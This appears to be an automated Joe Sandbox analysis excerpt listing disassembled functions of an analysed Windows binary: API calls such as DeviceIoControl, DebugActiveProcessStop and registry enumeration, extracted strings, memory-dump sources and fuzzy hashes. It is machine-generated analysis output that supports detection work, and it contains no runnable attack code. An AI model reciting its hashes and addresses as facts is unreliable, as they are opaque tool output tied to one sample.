API ID: std::_$Locinfo::_Lockit$GetctypeLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 1840309910-1405518554
Opcode ID: b1f3b8f95cf13783efc0d7484bfe17f8a6fb1813776200125dc5684446ce0327
Instruction ID: ca3c0c0d03b335f66b9201426cbfaac5cb205bc4979f121975e12eedd1df0dba
Opcode Fuzzy Hash: b1f3b8f95cf13783efc0d7484bfe17f8a6fb1813776200125dc5684446ce0327
Instruction Fuzzy Hash: 9C51C4B1D012599BDF10DFE4E84979EBFB4BF54704F144169E804AB341E778EA48CB91

Function 005B4D46 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,B6184AA8,?,005B4E53,00000008,0045B21A,?,00000000), ref: 005B4E07

Strings

ext-ms-, xrefs: 005B4DB1
api-ms-, xrefs: 005B4D9D

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b2b5f079f88804573fd065bbaf82e2aebaa173b571b00fb88c5cc8c0e2bdd3e3
Instruction ID: df78c3fb360e4b9a686086ab4c152c42a7fea27ee749acc23b6e6d2eaf22d97f
Opcode Fuzzy Hash: b2b5f079f88804573fd065bbaf82e2aebaa173b571b00fb88c5cc8c0e2bdd3e3
Instruction Fuzzy Hash: 9C2127B5A01611AFCB319B64DC81EEA3F69BB52770F254110E915E7292DB30FD00CED1

Function 00404770 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 63fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000), ref: 0040488A
GetLastError.KERNEL32 ref: 00404897
DebugActiveProcessStop.KERNEL32(?), ref: 004048A3
DeviceIoControl.KERNEL32(00000000,B2D601C4,?,00000005,00000000,00000000,?,00000000), ref: 004048D7
GetLastError.KERNEL32 ref: 004048E1
CloseHandle.KERNEL32(00000000), ref: 004048E8
DebugActiveProcessStop.KERNEL32(?), ref: 004048F4

Strings

7354, xrefs: 004047B6
751D, xrefs: 00404793
Process exited: {}, PID: {}, Exit Code: {}, xrefs: 004047CB

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ActiveDebugErrorLastProcessStop$CloseControlCreateDeviceFileHandle
String ID: 7354$751D$Process exited: {}, PID: {}, Exit Code: {}
API String ID: 4222496201-4011375692
Opcode ID: d7fedc7d868b42908080a251b5439c6c0bb822f7abe27c089317ed6f312db843
Instruction ID: 38f8036d831a50d87190c526479538432f3cb2d72cd2a7cc17cb2638b3b18067
Opcode Fuzzy Hash: d7fedc7d868b42908080a251b5439c6c0bb822f7abe27c089317ed6f312db843
Instruction Fuzzy Hash: 21218DB2E012299FEB20AB14DC45BADB7B1FB44314F1481DAD58977281DF742B84CF96

Function 004047EC Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000), ref: 0040488A
GetLastError.KERNEL32 ref: 00404897
DebugActiveProcessStop.KERNEL32(?), ref: 004048A3
DeviceIoControl.KERNEL32(00000000,B2D601C4,?,00000005,00000000,00000000,?,00000000), ref: 004048D7
GetLastError.KERNEL32 ref: 004048E1
CloseHandle.KERNEL32(00000000), ref: 004048E8
DebugActiveProcessStop.KERNEL32(?), ref: 004048F4

Strings

7354, xrefs: 0040482C
751D, xrefs: 0040480F
RIP_EVENT occurred {}:{}!, xrefs: 00404840

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ActiveDebugErrorLastProcessStop$CloseControlCreateDeviceFileHandle
String ID: 7354$751D$RIP_EVENT occurred {}:{}!
API String ID: 4222496201-3479682623
Opcode ID: 891789db041fb912e21d9f50f825c089e5a8a844ee74b7bf295adbd6e2bad526
Instruction ID: 7e37a428c8df79120e4c5521a234f3b2679ecd7cb9cf558360f5c2cd947ea2a6
Opcode Fuzzy Hash: 891789db041fb912e21d9f50f825c089e5a8a844ee74b7bf295adbd6e2bad526
Instruction Fuzzy Hash: 38217C75E002689FEB20AB14DC01BADBBB1BB45314F1481DAD98977280DF742E85CF85

Function 045A33E2 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 045A33E2

Part of subcall function 045A368F: EncodePointer.KERNEL32(00000000,00000001,045A33E7,045A188F,045B10A0,00000008,045A1A55,?,00000001,?,045B10C0,0000000C,045A19F4,?,00000001,?), ref: 045A3692
Part of subcall function 045A368F: __initp_misc_winsig.LIBCMT ref: 045A36AD
Part of subcall function 045A368F: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 045A40E9
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 045A40FD
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 045A4110
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 045A4123
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 045A4136
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 045A4149
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 045A415C
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 045A416F
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 045A4182
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 045A4195
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 045A41A8
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 045A41BB
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 045A41CE
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 045A41E1
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 045A41F4
Part of subcall function 045A368F: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 045A4207

__mtinitlocks.LIBCMT ref: 045A33E7
__mtterm.LIBCMT ref: 045A33F0

Part of subcall function 045A3458: DeleteCriticalSection.KERNEL32(?,?,?,?,045A195A,045A1940,045B10A0,00000008,045A1A55,?,00000001,?,045B10C0,0000000C,045A19F4,?), ref: 045A47DF
Part of subcall function 045A3458: _free.LIBCMT ref: 045A47E6
Part of subcall function 045A3458: DeleteCriticalSection.KERNEL32(045B2450,?,?,045A195A,045A1940,045B10A0,00000008,045A1A55,?,00000001,?,045B10C0,0000000C,045A19F4,?,00000001), ref: 045A4808

__calloc_crt.LIBCMT ref: 045A3415
__initptd.LIBCMT ref: 045A3437
GetCurrentThreadId.KERNEL32 ref: 045A343E

Memory Dump Source

Source File: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, Offset: 045A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45a0000_107.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: bc72d5b63129c4eb324b9b0168bbea555a27c418cefef405efe400ef833c816f
Instruction ID: d216dada0c8f6967f07342abbd7cd69dd5bb3f2412d6a51be8a195c9780211fb
Opcode Fuzzy Hash: bc72d5b63129c4eb324b9b0168bbea555a27c418cefef405efe400ef833c816f
Instruction Fuzzy Hash: 98F096325583535AF26576B87C0964F3680FF8163CF20462BED64C90C0FF54B861B551

Function 00455CE0 Relevance: 9.2, APIs: 6, Instructions: 246registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00459B90: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,B6184AA8,00000000,006EEA78), ref: 00459C4E

RegCloseKey.ADVAPI32(?,B6184AA8,?), ref: 00455D52
SetLastError.KERNEL32(00000000), ref: 00455D5D

Part of subcall function 00599DCB: RaiseException.KERNEL32(E06D7363,00000001,00000003,00428E1C,?,?,?,?,00428E1C,B6184AA8,0068531C,B6184AA8), ref: 00599E2B

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,00000008,?,B6184AA8,00000000), ref: 00455EA9
RegEnumKeyExW.ADVAPI32(?,00000001,?,00000100,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00455FC0
RegCloseKey.ADVAPI32(?,?,B6184AA8,00000000), ref: 00455FE1
SetLastError.KERNEL32(00000000,?,B6184AA8,00000000), ref: 00455FEC

Part of subcall function 004555C0: ___std_exception_copy.LIBVCRUNTIME ref: 004556FF

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CloseEnumErrorLast$ExceptionOpenRaise___std_exception_copy
String ID:
API String ID: 3502360929-0
Opcode ID: e5cfad24c03d818c6649b75638993c4a9a0c8f6030c21fc1ce5c24075b98dca1
Instruction ID: 907b0b6549545ce56dcd6de894328d07d4f44dcbf34f513d87e7db9e026dee14
Opcode Fuzzy Hash: e5cfad24c03d818c6649b75638993c4a9a0c8f6030c21fc1ce5c24075b98dca1
Instruction Fuzzy Hash: 389163B1D01619AFDB20DF64DC59BAEBBB4FF48314F10415AE805A7281DB746E84CF94

Function 0059836C Relevance: 9.2, APIs: 6, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001,?,?,?), ref: 005983B5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000), ref: 00598420
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0059843D
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0059847C
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005984DB
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 005984FE

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: c0bf1be34e73ea8da5decb23d525cb19258513573ab80329d7e334f53717ba36
Instruction ID: 05dcf9ddb463059c99222153601ed649ca63edc7895c2ed096c073fdf7600b6b
Opcode Fuzzy Hash: c0bf1be34e73ea8da5decb23d525cb19258513573ab80329d7e334f53717ba36
Instruction Fuzzy Hash: 25517B72600216BBDF209F64CC45FBB7FA9FF46744F158928F91996190DB359C14CB60

Function 0049F530 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 397COMMON

Download Yara Rule

APIs

Part of subcall function 0049E760: CloseHandle.KERNEL32(?), ref: 0049E8B1

Part of subcall function 004520D0: ___std_exception_copy.LIBVCRUNTIME ref: 0045215F

Part of subcall function 0055D500: CloseHandle.KERNEL32(?), ref: 0055D651

EnterCriticalSection.KERNEL32(00000000,B6184AA8,?,?,?,?,?,00000000,005D9786,000000FF,?,0049E295), ref: 0049F85D
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,00000000,005D9786,000000FF,?,0049E295), ref: 0049F896
___std_exception_destroy.LIBVCRUNTIME ref: 0049F9B5

Strings

L4c, xrefs: 0049F9A7
P i, xrefs: 0049F732

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CloseCriticalHandleSection$EnterLeave___std_exception_copy___std_exception_destroy
String ID: L4c$P i
API String ID: 1432197461-3182978002
Opcode ID: 14273b9bff9acb76f2c2ccb3a53785601b4c4823a766cd9c5167f9e7f0c59f68
Instruction ID: f94968f1bbcf6e453823c181e28ca1d2289b7f9effca76622108a0750ed1fca9
Opcode Fuzzy Hash: 14273b9bff9acb76f2c2ccb3a53785601b4c4823a766cd9c5167f9e7f0c59f68
Instruction Fuzzy Hash: C3E1D6B4A006159FCF00DF65C89466EBBB5FF88324F14416AE816E7391EB38AD09CF94

Function 0049DE30 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 371synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00424470: CloseHandle.KERNEL32(?,B6184AA8,006ECEAC,00000018,?,?,0042500B,?,B6184AA8,?), ref: 004244D0
Part of subcall function 00424470: LeaveCriticalSection.KERNEL32(?,B6184AA8,006ECEAC,00000018), ref: 0042450A

WaitForSingleObject.KERNEL32(?,000000FF,?,B6184AA8,?,?), ref: 0049DFDE
CloseHandle.KERNEL32(?), ref: 0049DFF5
GetModuleFileNameW.KERNEL32(00400000,?,00000105,B6184AA8,?), ref: 0049E100

Part of subcall function 0049DCB0: ___std_exception_destroy.LIBVCRUNTIME ref: 0049DD55

Part of subcall function 0049F800: EnterCriticalSection.KERNEL32(00000000,B6184AA8,?,?,?,?,?,00000000,005D9786,000000FF,?,0049E295), ref: 0049F85D
Part of subcall function 0049F800: LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,00000000,005D9786,000000FF,?,0049E295), ref: 0049F896

Strings

Module: , xrefs: 0049E186
lifetime_object must be allocated on static memory (static or global variable or member of such a variable)., xrefs: 0049E029, 0049E057

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$CloseHandleLeave$EnterFileModuleNameObjectSingleWait___std_exception_destroy
String ID: Module: $lifetime_object must be allocated on static memory (static or global variable or member of such a variable).
API String ID: 3192640221-453944052
Opcode ID: a438848fdbca21940e01257e7ad260cdbc092b1401c821d6ff34279fa9f6013d
Instruction ID: 37a703ae62a9546efe909f73d424c22ab732ba2137d11a2905400d6131764562
Opcode Fuzzy Hash: a438848fdbca21940e01257e7ad260cdbc092b1401c821d6ff34279fa9f6013d
Instruction Fuzzy Hash: 44E1EF70D012189FCB10DF65DC49BAEBBB5FF48314F1442AAE815A7391EB78AA44CF94

Function 004213C0 Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004213F6
std::_Lockit::_Lockit.LIBCPMT ref: 00421419
std::_Lockit::~_Lockit.LIBCPMT ref: 00421439

Part of subcall function 00421140: std::_Lockit::_Lockit.LIBCPMT ref: 004211C9
Part of subcall function 00421140: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00421215

std::_Facet_Register.LIBCPMT ref: 004214AB
std::_Lockit::~_Lockit.LIBCPMT ref: 004214CD
Concurrency::cancel_current_task.LIBCPMT ref: 004214F0

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Concurrency::cancel_current_taskFacet_Locinfo::_Locinfo_ctorRegister
String ID:
API String ID: 2294326227-0
Opcode ID: 01543b5965382cf5eaa9f3c0e9e4d8abebff6c733abe14e99112c62ac16855d7
Instruction ID: 18641ffa352e9d5d38834694675af7e3638c916cd91cf059b8ab9ace2d2729cf
Opcode Fuzzy Hash: 01543b5965382cf5eaa9f3c0e9e4d8abebff6c733abe14e99112c62ac16855d7
Instruction Fuzzy Hash: 4641D371E0026ACFCF10EF94E885AAEBBB5FF94324F55011AD8196B361D738AD05CB91

Function 00422900 Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00422936
std::_Lockit::_Lockit.LIBCPMT ref: 00422959
std::_Lockit::~_Lockit.LIBCPMT ref: 00422979

Part of subcall function 004225E0: std::_Lockit::_Lockit.LIBCPMT ref: 00422686
Part of subcall function 004225E0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 004226E1

std::_Facet_Register.LIBCPMT ref: 004229EB
std::_Lockit::~_Lockit.LIBCPMT ref: 00422A0D
Concurrency::cancel_current_task.LIBCPMT ref: 00422A30

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Concurrency::cancel_current_taskFacet_Locinfo::_Locinfo_ctorRegister
String ID:
API String ID: 2294326227-0
Opcode ID: b90005e20e10c2ca04c269d1528f5e7cdd3d4922f46a616e51b26b4efbb0cacd
Instruction ID: ef86bb895c4b318d346c580beeeb12cbd1cd8b87eaa899e6a555907ef0a643cc
Opcode Fuzzy Hash: b90005e20e10c2ca04c269d1528f5e7cdd3d4922f46a616e51b26b4efbb0cacd
Instruction Fuzzy Hash: 0441FFB1E0026AAFCF10DF54E985AAEFBB1FF84324F14411AD8056B391D778AE05CB95

Function 0049DCB0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 327COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 0049DD55
CloseHandle.KERNEL32(?), ref: 0049DFF5

Strings

Binary Serialization Module already unloaded., xrefs: 0049DDAF
p3c, xrefs: 0049DD47
lifetime_object must be allocated on static memory (static or global variable or member of such a variable)., xrefs: 0049E057

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CloseHandle___std_exception_destroy
String ID: Binary Serialization Module already unloaded.$lifetime_object must be allocated on static memory (static or global variable or member of such a variable).$p3c
API String ID: 3514858835-905920206
Opcode ID: 251216ccf77f7e58fa624b33464e3b727c932602d8e6b3b38d9ec6341866c663
Instruction ID: e17360d66c36f7efadf90ca1021932b015ce69b1bb1a78a08a5ccdfcc1ef8d53
Opcode Fuzzy Hash: 251216ccf77f7e58fa624b33464e3b727c932602d8e6b3b38d9ec6341866c663
Instruction Fuzzy Hash: 7EC1B170D003489FDF00DFA5D889BAEBBB5FF48314F14426AE815A7391EB795908CBA5

Function 0059BEBA Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0059BEB1,00599BFF,00596114,B6184AA8,?,?,?,00000000,005EF5DD,000000FF,?,0042488C), ref: 0059BEC8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0059BED6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0059BEEF
SetLastError.KERNEL32(00000000,?,0059BEB1,00599BFF,00596114,B6184AA8,?,?,?,00000000,005EF5DD,000000FF,?,0042488C), ref: 0059BF41

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5bed0109f1cb1df7b5ce9f9bcaeccfd7aa95f7ee13d988a1c2f075e0f370642a
Instruction ID: edf80e66e372c849f32231c7a2bf6f826dfdc3b4826803fafb94d383db0182f5
Opcode Fuzzy Hash: 5bed0109f1cb1df7b5ce9f9bcaeccfd7aa95f7ee13d988a1c2f075e0f370642a
Instruction Fuzzy Hash: 6501B13210E2136EFF242BB5BC8D57B2E89FB52B74720132AF611A50E0EF524C04D654

Function 0049C960 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 284synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00424470: CloseHandle.KERNEL32(?,B6184AA8,006ECEAC,00000018,?,?,0042500B,?,B6184AA8,?), ref: 004244D0
Part of subcall function 00424470: LeaveCriticalSection.KERNEL32(?,B6184AA8,006ECEAC,00000018), ref: 0042450A

WaitForSingleObject.KERNEL32(?,000000FF,?,B6184AA8,000000FF,00000000), ref: 0049CA83
CloseHandle.KERNEL32(?), ref: 0049CA9A
___std_exception_destroy.LIBVCRUNTIME ref: 0049CCC4

Part of subcall function 004527C0: EnterCriticalSection.KERNEL32(00000000), ref: 0045283E
Part of subcall function 004527C0: LeaveCriticalSection.KERNEL32(00000000,?,?,00000000), ref: 00452872

Part of subcall function 00451FE0: SetEvent.KERNEL32(00000000,B6184AA8,006ECEAC,?,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF), ref: 0045203A
